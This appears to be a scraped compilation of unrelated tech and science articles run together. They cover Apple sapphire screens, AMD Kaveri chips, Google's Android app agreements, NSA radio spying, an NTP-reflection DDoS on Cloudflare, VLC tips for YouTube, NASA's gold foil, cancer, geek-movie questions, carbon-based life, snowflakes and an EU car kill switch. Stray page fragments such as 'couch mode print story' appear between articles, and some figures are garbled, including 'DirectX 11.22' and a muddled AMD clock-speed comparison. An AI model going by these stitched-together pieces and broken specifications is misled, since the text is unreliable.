Apple's Sapphire-Screen iPhone Less 'If' Than 'When'

 
 
The latest rumors about Apple's plans to manufacture sapphire at a new plant in Arizona are the most credible foundation yet for speculation that the iPhone will someday boast the most scratch-resistant screen on the planet. Of course, it's not clear if the next-generation iPhone would get such a sapphire screen, or if the world would have to wait until 2015, presumably for an "iPhone 6s" model.

If the latest sapphire tech rumor is true, Apple's exclusive manufacturing partner, GT Advanced Technologies, is gearing up its Mesa, Ariz., manufacturing facility with enough furnaces to forge as many as 200 million iPhone displays.

Previously, most super-hard sapphire crystal rumors were limited to small component usage in Apple products, like scratch-proof Touch ID sensors or camera lens covers.
A new investigative report by 9to5mac.com's Mark Gurman revealing capacity and import/export details, coupled with an SEC filing, leads to the conclusion that GT Advanced is tooling up for extremely high volumes of product -- exclusively for Apple.

Digging Deep

Last fall, the state of Arizona announced that Apple planned to build a manufacturing facility that would create somewhere around 2,000 new jobs during the creation and then maintenance of the facility, which would include a new solar power grid. In November, GT Advanced Technologies announced an exclusive US$578 million deal with Apple to produce sapphire material in Arizona.
Through help from analyst Matt Margolis, Gurman reported that GT Advanced Technologies imported two Intego Sirius sapphire display inspection tools, which GT Advanced Technologies' website says are capable of improving yields and lowering costs of Sapphire for high-volume LED and touchscreen applications.
Gurman extracts his "mobile and touch screen devices" leap from a GT Advanced Technologies downloadable .pdf that describes the inspection tool. (This .pdf shows up in a Google search for "sirius slab," but I was unable to find a navigable link to it from gtat.com.)

Leap of Faith?

Presumably, GT Advanced Technologies would utilize these inspection tools in its Arizona plant, and because the tools are capable of use for sapphire material large enough for mobile device displays, they would be imported for use for Apple's iPhones... or a new product, such as the heavily rumored "iWatch."
However, Gurman acknowledged that there may not even be a direct connection between the imported inspection tools and the Arizona-based facility. Maybe they were delivered there -- but perhaps intended for a different use.
In March of 2013, GT Advanced Technologies entered into an exclusive distribution agreement with Intego for automated sapphire inspection tools, meaning GT Advanced Technologies could sell the tools to anyone, not necessarily only to Apple. So the tools don't even have to be used by GT Advanced Technologies in order to be imported.
On the surface, this just isn't a one-to-one connection, but since Apple reportedly is buying all the materials that go into the sapphire plant -- contracting with GT Advanced Technologies to run it, as Gurman noted based on an SEC filing -- the conclusion that Apple wants the two sapphire inspection tools is reasonable.

Baking Sapphire

Last of all, Gurman connected orders for hundreds of furnaces and chambers, all of which -- if put to use -- could conceivably deliver more than 103 million iPhone screens in the 5-inch range. Additional furnaces on order could ramp the capacity of the plant past 200 million units.
All told, Gurman's digging and connections combine to create the most credible rumor yet that Apple's iPhones could boast the most scratch-resistant screens on the planet. Of course, it's not clear if the next-generation iPhone would get such a sapphire screen, or if the world would have to wait until 2015, presumably for an "iPhone 6s" model.
Then again, maybe it really all is for an iWatch. Late last year, patent-watcher site Patently Apple unearthed an Apple patent for a "sapphire flexible transparent display device created with liquid metal."
For those with active imaginations, it's darn good reading, too.

AMD Unleashes Kaveri APUs

AMD has launched "a revolutionary next-generation APU that marks a new era of computing," said Bernd Lienhard, general manager of the company's Client Business Unit. In addition to promising world-class graphics and compute technology on a single chip, it offers TrueAudio Technology that sets a new level of immersion. You can hear your enemy's every move and anticipate the next, suggests AMD.

 

AMD is attempting to take computing to a new level with the launch of its 2014 AMD A-Series Accelerated Processing Units.

The A-Series APUs include AMD's Radeon R7 graphics technology and are codenamed "Kaveri." The chips mark the first time that AMD has used the Heterogeneous System Architecture in an APU -- a way to let the chip evenly allocate and give access to resources like memory between the central processing unit and graphics processing unit cores, which afford greater performance and efficiency.
'Flattening the Architecture'
"APUs already integrate the CPU and GPU cores on the same chip, but this generation integrates AMD's latest [Graphics Core Next] graphics architecture in an HSA configuration, which essentially allows applications to access the GPU cores just like they would the CPU cores," Jim McGregor, principal analyst at Tirias Research, told TechNewsWorld.
"It essentially flattens out the architecture to allow for all the CPUs and GPUs to be viewed as general purpose compute units that can be directly programmed," McGregor added.
"In addition, AMD and the HSA Foundation partners are working on the software tools to allow GPU programming using standard software languages like C++ and Java," he noted.
"In essence, Kaveri contains four CPU cores and eight GPU cores which can be programmed individually and all share common memory resources," Charles King, principal analyst at Pund-IT, told TechNewsWorld.
"That's in contrast to traditional environments in which CPUs and GPUs leverage separate memory resources, and programming functions are far less flexible," he explained.

Compute Cores

The APUs can house as many as 12 compute cores -- up to four CPU and eight GPU cores. The GCN Architecture, which utilizes Radeon R7 Series graphics, offers a high level of performance and support for DirectX 11.22, according to AMD.
The APUs additionally offer support for Mantle, an application programming interface that is said to make game optimization simpler for developers and programmers, while allowing them to boost game performance. The chips also allow the use of AMD TrueAudio Technology, a 32-channel surround sound audio system.

4K Support

Elsewhere, the A-Series APUs support UltraHD/4K resolutions, with video post-processing tools designed to enhance and upscale 1080p-resolution videos on Ultra-HD capable monitors and televisions.
To highlight the performance of the new APUs, AMD is shipping the A10-7850K and A10-7700K models with copies of Battlefield 4, EA's recent hit first-person shooter game.
The A10-7850K is the high-end model of the new A-Series APUs. It features four CPU and eight GPU cores, with a max turbo core speed of 4.0 GHz and default CPU frequency of 3.7 GHz.
The A10-7700K and A8-7600 have the same number of cores -- four CPUs and eight GPUs -- but the former has a max turbo core of 3.8 GHz compared with 3.8/3.3 GHz and a default CPU frequency of 3. 4GHz compared with 3.3/3.1 GHz.
All models have a GPU frequency of 720 MHz and a 4 MB L2 cache. The A10-7850K is priced at US$173; the A10-7700K at $152; and the A8-7600 at $119.
The A10-7850K and A10-7700K are now available in processor-in-a-box options, while the A8-7600 will start shipping this quarter. The APUs are also now available in PCs sold by AMD's partners.

Fresh Ammo

AMD surely hopes the APUs will be a key weapon in its long tussle with rival Intel.
"AMD has better GPU technology and the only fully heterogeneous architecture, which actually puts them a step ahead of Intel," Tirias' McGregor noted.
"With that said, Intel still has advantages in CPU technology and process technology, but GPUs are becoming more important to the visual computing experience and in processing a broader range of applications," he added.
"On the x86 front, Intel delivers far better CPU performance than AMD and that divide is likely to keep widening as the company drives increasingly sophisticated manufacturing processes," Pund-IT's King pointed out.
"However, Intel's native graphics features trail AMD, which has long provided excellent graphics via its 2006 acquisition of ATI," he said. "Nvidia's graphics are typically described as equal or superior to AMD's but the company doesn't have an x86 play beyond supplying discrete graphics capabilities in Intel-based gaming PCS and laptops." 

Google's Dirty Little Android Secrets Leaked

   

 

 

Google apparently has a different definition of "open source" than the rest of the open source community. Its Android operating system, used in most of the world's smartphones, is made available to manufacturers with a number of strings attached. It's all about the apps. In order to include Google Search, for example, a manufacturer must place a bunch of other Google products on the phone.

The Android operating system, which Google touts as open, isn't.

Google imposes strict restrictions on smartphone manufacturers and app developers in its Android mobile application distribution agreement, or MADA, according to excerpts of documents revealed by Ben Edelman, an associate professor at the Harvard Business School.
The information was obtained from two MADAs -- one with HTC and one with Samsung -- that were admitted in open court in Oracle's lawsuit against Google over Java.
"Under pressure, Google may well have to lift these restrictions, letting competitors get a better chance to offer their apps and services," Edelman, who states up front that he's a consultant to some of Google's competitors, told LinuxInsider.
Google did not respond to our request to comment for this story.

The MADAs' Restrictions

In sum, smartphone manufacturers must agree to install all apps Google specifies, with the prominence Google requires, including setting those apps as a default per the company's instructions, if they want to get key mobile apps including Google Search, Maps and YouTube, Edelman said.
It's an all-or-nothing proposition -- installing one Google app means having to install them all. Since smartphone manufacturers need Google Play and YouTube, they must accept Google Search, Maps, Network Location Provider and other apps, regardless of whether they prefer alternatives.
The Google Search and Google Play icons must be placed at least on the panel immediately adjacent to the default home screen, and phone manufacturers must set Google Search as the default search provider for all Web search access points.
All other Google applications must be placed no more than one level below the phone's top level.
Google's Network Location Provider must be preloaded as the default.

Stifling the Opposition

These provisions restrict competition, Edelman charged.
Smartphone manufacturers can install third-party search, map or email apps in addition to the Google apps they must include, Edelman said. However, multiple apps are duplicative, confusing to users, and a drain on device batteries.
Further, manufacturers cannot install third-party apps in exchange for a subsidy that would lower the cost of the device.
Competitors are likely to be less willing to pay for preinstallation of their apps because Google apps must be the default, and its search and app store apps must be placed prominently.
"Google enjoys a position of dominance in the market for mobile phone operating systems," Edelman said. Android and Windows Phone "are the only commercially viable options" for smartphone manufacturers.
Android's position "is tenfold larger," Edelman continued. "Antitrust law applies higher standards for companies in this position."

The Possible MADA Backlash

It's possible that the revelations might spark the interest of antitrust regulators and a negative reaction from the open source community, Edelman said.
The disclosures "will upset developers," said Nick Spencer, a senior director of research at ABI Research.
"They are quite religious about open source stuff, and they're quite annoyed about Apple not having a transparent certification program to get on the App Store, and this is not dissimilar to that," he told LinuxInsider.
"Another possibility is further investigation by the Senate Antitrust Committee; one imagines they might be disappointed to learn that [Google CEO Eric] Schmidt's response was less than forthright," Edelman suggested.
He was referring to a September 2011 committee hearing, where Schmidt reportedly said Google did not demand that smartphone manufacturers make it the default search engine as a condition of using the Android OS.

Storm in a Teacup?

"It is no secret that Google has always intended to monetize Android with back-end services," Al Hilwa, a program director at IDC, told LinuxInsider. "I really am not sure why everyone is shocked, shocked at this."
With the MADA restrictions, Google is "trying to keep control," surmised ABI's Spencer. "They've seen all this fragmentation and are very worried about forked versions coming out of China and India -- these forks constituted 25 percent of Android sales."

Apple has big plans for its M7 dedicated motion co-processor

 

 

While the iPhone 5s’s 64-bit A7 processor has received the lion’s share of attention, 9to5Mac points out that we should take a look at the device’s M7 dedicated motion co-processor as well. As Apple describes it, the M7 is technology that “knows when you’re walking, running, or even driving” and can do things like automatically switch the type of directions it gives you when you stop driving and start walking.
9to5Mac’s sources say that Apple is planning to do a lot more with this, however, and is working to integrate it into iOS Maps so that it can mark your parked car’s location and help you find it in a crowded parking lot if you get lost. The M7 is also designed to take advantage of several new features Apple is planning for iOS Maps, including indoor mapping and public transit information, 9to5Mac’s sources say.

Here’s the horrifying new way the NSA spies on offline computers

Believe it or not, there are still new revelations to be had regarding the various ways America’s National Security Agency spies on its targets. Just days before President Obama is expected to reveal a number of significant changes to the spying programs employed by the NSA, a new report from The New York Times sheds light on a previously unknown NSA spying tactic that allows the agency to conduct surveillance on computers that aren’t even connected to the Internet.
“While most of the software is inserted by gaining access to computer networks, the N.S.A. has increasingly made use of a secret technology that enables it to enter and alter data in computers even if they are not connected to the Internet, according to N.S.A. documents, computer experts and American officials,” The Times’ David Sanger and Thom Shanker wrote. “The technology, which the agency has used since at least 2008, relies on a covert channel of radio waves that can be transmitted from tiny circuit boards and USB cards inserted surreptitiously into the computers. In some cases, they are sent to a briefcase-size relay station that intelligence agencies can set up miles away from the target.”
According to the report, this method of spying is referred to by the NSA as an “active defense” and is used to thwart potential cyberattacks that might otherwise be perpetrated by foreign attackers. The Times says this tactic is used most often on computers belonging to various units in the Chinese Army, which has been accused on numerous occasions of being responsible for cyberattacks targeting American businesses and on the U.S. military.
While the methods employed by the NSA to spy on targets are becoming increasingly difficult to combat, there are some ways to thwart them. One such example is an upcoming device called the Blackphone, which is designed primarily to prevent snooping and other privacy breaches.

Biggest DDoS ever aimed at Cloudflare’s content delivery network

A distributed denial-of-service attack targeting a client of the content delivery network Cloudflare reached new highs in malicious traffic today, striking at the company’s data centers in Europe and the US. According to a Twitter post by Cloudflare CEO Matthew Prince, the full volume of the attack exceeded 400 gigabits per second—making it the largest DDoS attack ever recorded.
The attack used Network Time Protocol (NTP) reflection, the same technique used in recent attacks against gaming sites by a group called DERP Trolling. NTP is used to synchronize the time settings on computers across the Internet. The attack made fraudulent synchronization requests to NTP servers that caused them to send a flood of replies back at the targeted sites.
Reflection attacks have been a mainstay of DDoS tools and botnets, but the use of NTP in such attacks is relatively new. Last year’s attack on Spamhaus, which previously set the record for the largest DDoS ever, used a Domain Name Service (DNS) protocol attack—a much more common approach that takes advantage of the Internet’s directory service, forging requests for DNS lookups from the intended target and sending them to scores of open DNS servers. The size of the traffic directed back at the target from these requests far exceeds the size of the requests sent to the DNS servers, which is why the technique is often called a DNS amplification attack.
By comparison, NTP sends much smaller amounts of data in response to requests. But as efforts have been made to prevent DNS amplification attacks by reducing the number of open DNS servers available to attackers, there are over 3,000 active public time servers configured to reply to NTP requests, as well as many more time servers on smaller networks that may be open to outside requests.
Further, a recently discovered vulnerability in NTP allows for amplification attacks similar to those previously performed with DNS, exploiting a command in the protocol called “monlist” that sends the IP addresses of the last 600 devices connected to the server. These requests, sent via a packet with the forged address of the victim, send a torrent of data back at the targeted site. Like DNS reflection attacks, NTP attacks can be diminished in effectiveness by network operators if they configure firewalls to block external requests.

Play any YouTube Playlist with VLC Media Player

You can watch any YouTube video or entire video playlists outside the browser using the VLC Media Player. And the videos will play without the ads.

couch mode print story

Do you know that VLC Media Player, the world’s favorite video player that supports nearly every video format, can also play YouTube videos on your desktop without requiring the web browser or the Adobe Flash player.

  

 
 
To get started, open the VLC player, press Ctrl+N to open the Network URL dialog and paste any YouTube video URL in the input box.

The Benefits of Watching YouTube Videos with VLC

The streaming videos will play inside VLC Media Player just like any other local video file while offering some additional benefits not available inside the standard YouTube player. For instance:

1. You can choose Video -> Always on Top inside VLC and the YouTube video window will stick to the foreground while you work on other tasks.
2. Press the Loop button in the player controls and the YouTube video will play non-stop in a loop (also possible with Chrome add-ons).
3. You can change the Playback speed of the YouTube video and make it run slower or faster than the normal speed.
4. Use the Tools -> Take Snapshot option to capture a screenshot image of any frame or scene in the YouTube video.
5. Watch the YouTube videos without the ads. I played a couple of movies and music videos inside VLC and none of them carried any pre-roll ads.

Play YouTube Playlists inside VLC

VLC, by default, only supports single YouTube URLs but it also possible to import an entire YouTube Playlist into VLC and watch all the videos in sequence.

 

 

You can watch an entire 

playlist of YouTube videos inside VLC Media Player.

Here’s the trick. Right-click and save this file to your desktop. Now open the VLC installation folder
  (%ProgramFiles%\VideoLAN\VLC) and move the .lua file into the exiting /lua/playlist folder.
Restart the VLC Media Player and choose Media -> Open Network Stream. Now paste the URL of any public YouTube Playlist here and the enjoy the videos.
Also see: Watch YouTube Playlists on your iPad
In addition to YouTube, VLC Player can also play DailyMotion videos outside the browser. It is supposed to work with Vimeo videos as well but that is currently broken possibly due to a change in the URL structure at Vimeo’s end.

Play YouTube Videos in Slow (or Fast) Motion

You can play YouTube videos in slow motion or speed them up
 
The YouTube video player lets you easily change* the playback speed of videos. You can watch a YouTube video in slow motion and see the frames in more detail or, if the video is boring, you can switch to fast motion mode and skim through the video by doubling the playback speed.

[*] If you do not see the option to adjust the playback speed in your YouTube player, you are probably using the default Flash based video player. Go to youtube.com/html5 and opt into the HTML5 YouTube player.

Watch YouTube in Slow-Motion or Fast-Motion

If the option to control the playback speed is still not available in YouTube for a particular video, or if you wish to have finer control over the speed, you can always use the good old VLC Player to watch any video on YouTube (or Vimeo) in either slow motion or fast motion.

Here’s how.

Launch the VLC player and choose File -> Open Stream. Now paste the full URL of any YouTube video in the URL box and click the Open button. The video will begin to stream on your desktop inside the VLC player.

Now go to the VLC Menu bar, choose Playback and here you’ll se an option to adjust the playback speed of that video.

The VLC Advantage over YouTube

Unlike the YouTube player where you can only change the speed by a factor or .25x, .5x, 1.5x or 2x, VLC Player offers finer control. You can drag the slide to choose any speed between .25x to 4x of the original speed.

 self tested by the author(pranesh)

Why does NASA use so much gold foil?

Gold Foil on Aquarius Reflector

I can go down to the local grocery store and buy aluminum foil for roughly 40 cents per square foot, and NASA’s complaining about their budget? Why would the nation’s space agency have to opt for make their foil out of gold rather than reliable old aluminum, or copper, or even silver if they’ve got to get fancy about it? I mean what’s next, a space suit made of carbon fiber?
The fact is that NASA cuts corners wherever it can, but when soaring beyond the Earth’s skies there are precious few areas that can tolerate less than the best. While most people think of gold as a precious metal and as a building material embraced by people with more money than sense, it is also one of the heaviest, most uniquely workable metals that isn’t dangerously radioactive.
When you see a space contraption draped in gold foil, remember that the foil is probably a heat shield or, more practically, a radiation shield. The sun transmits heat on Earth mostly by warming the atmosphere, and we experience that heat by convection, like a turkey in the oven. In space direct impact from radiation transfers heat, like a dish warmed in a microwave. As a result, keeping instrumentation cold is less about insulation than about reflection, and gold has some very desirable qualities in this regard.

Four metal compared for their ability to reflect different wavelengths of light.

As we can see in the figure to the right, gold reflects infrared radiation (above roughly .7 µm) as well as any of our candidate metals, which is a major part of keeping tech-heating rays out of our hair. However, it also reflects as much or more UV radiation (roughly .35 µm) than its competitors while absorbing quite a bit of visible light. This means that it won’t create blinding reflective hotspots for astronauts, and its heavy atomic weight lets it soak up quite a bit of that visible light before heating to any harmful extent.
Gold also does not rust or tarnish in air the way copper or silver do, meaning it requires less care and maintenance to keep mission-ready, and it remains softer and more malleable than aluminum when stretched. Anyone who has ever tried to unroll and re-use a piece of aluminum foil in the kitchen knows how unwilling it is to forgive even the slightest crease. All metal foils have this property to an extent, but gold foil does present a slightly easier workflow than its cheaper competitors.

 

A gold-coated collector collector

Gold is used by NASA in all kinds of contexts. It’s used in external reflectors like those seen in these photos, but it’s also found in astronauts’ visors, filtering out IR radiation to protect astronauts’ eyes. When coupled with an ultra-violet filter like polycarbonate, this makes a shield for both infra-red and ultra-violet radiation while letting a good amount of visible light through to the astronaut.
Gold is also used in many collectors. Its state is assayed before and after a mission to determine what sorts of particles hit it while exposed to space. Even micro-electronics are often made from gold, since the element is an excellent conductor while resisting corrosion and the buildup of static electricity. Even mirrors incorporate gold at the atomic level, with laser-deposited layers or gold providing that extra bit of infrared reflectance needed to create ultra-high resolution images.
So don’t think NASA’s use of gold is wasteful. Whether it’s a gold-coated sheet of mylar or an atomically thin spray of gold on a space mirror, the element has a combination of properties like no other. Until materials science can outstrip gold’s remarkable confluence of reflectance, durability, conductivity, and physical workability, it will continue to have a shining, opulent place in human excursions into space.

Why is cancer so hard to cure?

It seems to happen every other week: Compound X found to “cure cancer” in a cell culture, or in rats, or even in chimps. Chain emails and overzealous reportage combine with some genuine academic incentives to exaggerate, and result in a medical climate in which cancer seems to be one of the most curable diseases in history. And yet, as AIDS and other terrifying diseases slowly give way to the march of modern science, cancer remains intractable and deadly. What makes cancer so different?
The biggest problem, by far, turns out to simply one of language. When we refer to HIV, polio, or the mumps, we’re referring to a fairly narrow spectrum of organisms. There will always be some variation between individual strains, but for the most part a person with polio has polio, and that relative uniformity has all manner of useful implications for treatment. However, cancer is not a disease, but type of disease. In terms of treatment and effect, a tumor in the brain has little in common with one in the lung or on the skin. All they share in their base-level problem: the cells that make up the tumor grow infinitely and without restriction. Beyond that, they are totally different diseases.

This should really say “Fight for the Cures” but that’s harder to explain.

That’s why the phrase “cure for cancer” is nonsense; there will not be any single cure for cancer because there is no single cause of cancer. Even total control over the reproduction of every cell won’t be enough, since the drugs that could exert such control still have to reach the tumor, enter the cells, and begin their action. Liver cancers present unique problems to do with that organ’s filtering of the blood, while leukemias (blood cancers) present their own  challenges. Two similar brain cancers can be caused by entirely different mutations in entirely different genes.
Remember that (with some very specific exceptions) we don’t catch cancer from one another , but develop it on our own each and every time — every cancer patient is the creator of their own disease. Though similar cancers generally arise from similar genetic defects, even slight differences can have powerful implications for treatment.
The unchecked replication of cancer cells is arguably the natural state of all life — this situation where healthy skin cells grow to a certain point then voluntarily stop is a tenuous agreement that allows complex organisms to survive but which works against the short-term goals of each individual cell type. In a healthy person, each cell type agrees to hold back on growth in the short term so the community can survive in the long term. Cancer is when cells break this social contract, and anything that mutates DNA — from radiation to heavy metals — can provide the opportunity to do so.
That’s why genomic analysis and quick, inexpensive sequencing of DNA is so important to cancer research; since every tumor is different, it’s vitally important to be able to characterize each individual type. A complete catalog of cancer-causing mutations (which would be very long and constantly expanding) would allow doctors to tailor a treatment regime to each instance of the disease. In a very real way, every individual needs their own tailor-made “cure for cancer” because every one has (or could have) their own unique type.

10 unanswered questions in geek movies

Geek-friendly movies are bigger than ever these days. From the seemingly unending growth of popularity in live-action comic book adaptations to the fact that new life is still being breathed into the 36-year-old Star Wars movie franchise, geeks everywhere have more of a reason than ever to buy oversized tubs of popcorn and kick back for a couple hours.
As this insurgence of geeky movies continues, though, there remain some fundamental questions about the films that have already made their mark in the nerd and geek communities. Can these years-old or even decades-old questions be answered? To help us out we enlisted one of our “geekiest” geeks, Kevin Witt to answer these excellent questions put together in this classic Wired post. His responses are below, though we’ve taken the liberty of adding to them where we felt it appropriate.

10. Independence Day: Could the computer virus actually work?

Kevin: Aliens that were dumb enough to get beat by a drunk guy flying a crop duster clearly would’ve standardized on Apple to power their enterprise. It actually DOES make sense.
Kidding aside, it would have been incredibly difficult to pull this off. Writing a virus for a computer system that you have almost no exposure to is essentially impossible, even if you have some idea of how the alien operating system worked. Maybe the aliens had no security protocols from internal inputs and their computer infrastructure was incredibly fragile because they had never encountered any computer-based security threats? Even so, you’d think they would have some redundancies in place and some basic failsafes.

9. Raiders of the Lost Ark: How did Indy survive the U-boat trip?

Kevin: in WWII the submarines were diesel not nuclear. That means they needed to keep their air intakes above water when going for long distances–they only submerged and ran on batteries when they were on recon or in battle. If they were making a straight bee-line for the hidden base and they wanted to go at maximum speed, it is reasonable that the sub would have never submerged.
You nailed it Kevin. This would have been difficult and, let’s face it, unlikely, but it’s possible the sub never submerged and Indy secured himself to it with his whip.

8. Back to the Future: How could Marty’s parents’ spend a week with him in 1955 and totally forget about it?

Kevin: They had no pictures of him and he wasn’t conceived until almost 15 years later. That’s plenty of time for memories to fade.
This one is incredibly hard to swallow, but think about it — Marty’s parents would have never expected to see him in the future. If they had moments of deja vu when seeing him as a teenager they surely would have just written them off given the implausibility of time travel.

7. Star Trek (2009): Why didn’t Old Spock go to the station and warn Starfleet about the impending destruction of Vulcan?

Kevin: Spock was depressed and found the situation pointless in an alternate timeline that he didn’t have a connection to. He was content to ride out his fate until the arrival of Kirk made him realize he had a purpose in the alternate timeline.
Kevin may have hit on the truth here, but also let’s remember that Spock at this point was old, fragile, and possibility disillusioned. He might have been driven into a hermit-like isolationism and not want to go to Starfleet, regardless of the importance of his message.

6. Spider-Man 2: Doctor Octavius’s arms were worth billions, why did he need Harry Osborn’s money?

Kevin: He wanted the arm technology for himself — he didn’t want to share.
Why would you want to make this incredibly potent technology available to everyone else? At that point you wouldn’t be a super villain, you’d be just another bad guy. Better to keep the tech for yourself, build on it, and then take over the world. He likely knew he’d never need to pay back Harry for his support.

5. Star Trek IV: If time travel is so easy, why not do it all the time?

Kevin: It was highly dangerous and they almost died. Who knows how many times it has been unsuccessfully tried?
Exactly right. Time travel is not only dangerous but by doing it you could upset the entire chain of events that created the universe you know and are supposedly trying to protect. This is pretty basic “butterfly effect” type stuff.

4. Star Wars: A New Hope: Why does Death Star take to long to travel around the moon of Yavin?

Kevin: As in most sci-fi explanations of supra-light travel (warp, hyperspace, etc…) you can’t warp right upon a large gravity well like a planet. You can do that safely for interstellar travel – but have to use more conventional propulsion for more densely populated areas of space. (This convention was even followed recently in the Battlestar Galactica TV series.)
Regardless, the Imperial Navy did not know the rebels were already aware of the tracking beacon on the Millenium Falcon and wanted to preserve the element of surprise (the risk was that they would flee — because the Empire did not actually fear a counter-attack). To preserve the element of surprise, they had to avoid coming out of hyperspace too close to the rebel base and being easily spotted by the resulting burst of their Cronau radiation signature (a mistake that Admiral Ozzel later made on the Star Destroyer Executor in the Battle of Hoth). Ozzel was immediately executed by Darth Vader for the mistake — confirming that it is common knowledge even among space thugs!
Basically, super-light speed travel is unsafe and difficult to predict, so you’d want to get close enough to the Rebel moon and then go the rest of the way at a safe speed. Additionally, you’d think that travel at this speed would have to be more or less in some sort of straight line, so putting the Death Star on one side of a planet could be doable while the other side might be impossible.

3. Gremlins: Why exactly can’t gremlins eat after midnight? When is it not “after midnight”?

Kevin: The mogwai could be fitted with RF receivers that support NTP and synchronize with the atomic clock… it would hardly be the most amazing thing they can do!
No idea here. This was just convenient story telling. Maybe, just maybe, the rise of the sun resets things?

2. The Empire Strikes Back: How long is Luke training with Yoda? How come so little happens then?

Kevin: It was never clear how long Leia and Han were on Cloud City before the trouble started. I don’t think there was a big gap at all.
Leia and Han could have been chilling out in the Cloud City for months! Just look how nice it is up there.

1. Indiana Jones and the Last Crusade: Was anything Indy did even necessary?

Kevin: Everyone was tempted by possession of the grail — including Indy. He almost died reaching for it himself — right after he watched Elsa plunge to her death. Plus, you can’t blame them for not acting on information they didn’t have.
By the end of the movie the Grail was safe and the Nazis were defeated. This way Indy secured the Grail for the future. If he had just left it there, the Nazis would have found it eventually and, over time, could have defeated the traps. They might have lost any number of soldiers to the traps within, but eventually someone would have solved them… or they could have just blown up half the mountain side and excavated for the grail. That’s a lot of work, but eventually they would have done it — this is the key to world domination we’re talking about here.
As Disney’s upcoming Star Wars sequels and Marvel’s continued push to associate every one of its characters with a Hollywood hotshot steams ahead, there will undoubtedly be a stream of never ending “Why?”/”What if?”/”How?”/”Seriously?” questions that crop up. Luckily, there will always be a strong following of geeks and nerds who will not shy away from providing logical answers.

Why is all life carbon-based?

If you read any amount of science fiction, you’ll probably come up against the idea of alien life based on some element other than carbon. Almost universally, this element is silicon, but some writers have gone further afield in imagining totally novel forms of life — for instance, Carl Sagan once imagined life forms that could evolve and thrive in the gaseous sea that is Jupiter (aside from its core). Still, why do most writers consistently turn to silicon as the most likely carbon substitute? And why is carbon the basis of all life currently known?
Basically, the answer is that life is complex, and more to the point that it must be complex. You can’t create an organism capable of regulating its internal state, of moving, eating and excreting, and of replicating itself to create offspring, without a wide variety of molecules. You’re going to need a central building block that can support complex branched structures while remaining strong — but not so strong that you can’t easily rearrange the whole thing later. There’s also the fact that carbon happens to be an abundant element on Earth, one available to early replicators, but for the most part we are carbon-based because carbon makes a good backbone.

Probably not how silicon based life would actually look.

The reason carbon has this property is somewhat complicated but can be boiled down to this: when bonding with other atoms due to its natural chemical properties, carbon will form four bonds. There are only a few elements that can do this naturally. Oxygen, for instance, will naturally form two bonds (think H2O). The four-bond structure allows a wide variety of possible chains with branches that have branches that have branches. When a bonding slot is unwanted, the carbon-hydrogen bond that usually fills the gap isn’t very reactive, so it won’t interfere with whatever else might be going on in the area.
Consider the periodic table of elements, which is arranged so that elements with the same number of bonding slots (in parlance, the same number of “valence electrons”) will lie in vertical columns. This means that if you find carbon (element #6) and look directly below it, you’ll find the next most logical element to form the backbone of a living system — and ‘lo, we find silicon. This is why science fiction tends toward postulating silicon-based life: it shares the main virtue that brought carbon to power here on Earth.

Looking further down the list brings us to less used elements like Germanium and Tin — these heavy elements are large and unwieldy, forming weaker bonds than their higher vertical neighbors because they hold other atoms a greater distance from their nucleus. Within the class of elements that can form complex molecules, carbon has helpful chemical properties for making and breaking chemical bonds. We already know of several thousand species that use silicon extensively in their overall biology — but none of them use silicon in DNA, so they are still considered to be carbon-based. Carbon forms strong double and triple bonds, not just allowing the branched structure of DNA but protecting that structure with strong chemical properties.
The fact is that life probably could technically arise from a wide variety of molecules, but carbon seems to be by far the most likely. A species based on silicon might be funneled down roughly similar evolutionary paths as a carbon-based one, but something based on, say, phosphorus could turn out totally unrecognizable. Everything from its physical structure to its method of genetic inheritance would have to be wildly different. When imagining alien species, the most outlandish concepts would start not from a different environment, but from an totally different sort of chemistry.

How do snowflakes form?

Snowflakes have captured the human imagination since long before we understood their origins. Even before the invention of the microscope, just holding a snowflake up to your eye could let you see an incredible level of detail — and, it seems, the details were always different. Snowflakes have become a symbol of uniqueness, of the sheer level of variety possible, even within a simple and restrictive framework. People see, or try to see, something about human nature in the birth of such delicate and varied structures.
How could a simple, natural process give rise to that kind of variety? It would seem that a simple process like ice formation would play out fairly predictably, but it turns out that while we may know the basics of how snowflakes form, the random factors that influence their specific pattern are virtually unknowable. From flecks of dust to a passing currents of hot or cold air, there are all sorts of unpredictable factors that give rise to a snowflake’s particular conformation. There are, however, some generalities.

Can you see the repeating pattern?

The first step is always the formation of the initial ice crystal, referred to as a bead. This happens when you have three things: cold air, high humidity, and a nucleation point. The nucleation point is some irregularity, usually a speck of dust, that provides the initial scaffold for those very first ice crystals.
Once ice begins to form in the freezing, humid air, it will quickly grow until it reaches a certain critical point. Past this size, a simple sphere becomes less and less efficient, as heat flows out from the still-forming ice crystals. This heat flow causes fingers of ice to split off radially, almost always six of them. Once these fingers grow out to an equally inefficient length, their tips become the nucleation points for further splits into icy fingers.


The unpredictable part is in the details.

 The initial speck of dust can influence how the snowflake grows, as can a speck added later on in the process, or even just a passing breeze. While it might be technically true to say that no two snowflakes are exactly alike, many are quite similar. This is because they are all derived from identical processes, influenced by only a few variables. With the sheer number of snowflakes that fall around the world every year, it’s a foregone conclusion that quite a few are virtually identical.
A professor at Duke University recently made a video explaining this issue in detail. Take a look at the video, below.


snowy-science-how-snowflakes-form-video

 

Every new car in Europe may be fitted with a police-controlled kill switch

Safely disabling a vehicle being involved in a criminal exercise is a dangerous task, which may be why the EU is hoping to create a vehicle standard that makes it possible to stop them remotely.
Imagine a world where you can report your car stolen and have the police remotely disable it, or a high speed chase that abruptly and safely comes to an end as the vehicle politely stops and powers down. Apparently that is the exact thing the European Network of Law Enforcement Technologies wants to see happen all across Europe, and they have been working in secret to create a device that they would want to become a standard in all new European vehicles.
A device that is designed to cut the fuel supply and disable the ignition to the vehicle by remote, which is controlled remotely by a police officer in front of a bank of monitors somewhere, is the basic concept that has been created so far for this would-be standard. There’s no mention of controlling the brakes or controlling the vehicle’s ability to drive, so in theory the vehicle would just coast to a stop and whoever was inside would either be captured or try and run away. It’s a six year plan that the EU hopes will result in a thorough plan that could be easily implemented by auto makers.
The idea isn’t terribly dissimilar from what is included in several US vehicles via OnStar. The biggest difference there is that the owner has to opt in to the feature, and the owner has to contact OnStar when they want it deployed. This would be a single mandatory solution for all vehicle manufacturers, and only the police would have the ability to use it.
There are more than a few obvious questions, like what happens if that system is ever compromised in some way or who precisely is responsible if the disabled vehicle crashes into a bank of cars, but the biggest problem would likely be deploying a network of transmitters that made such a feature even possible.
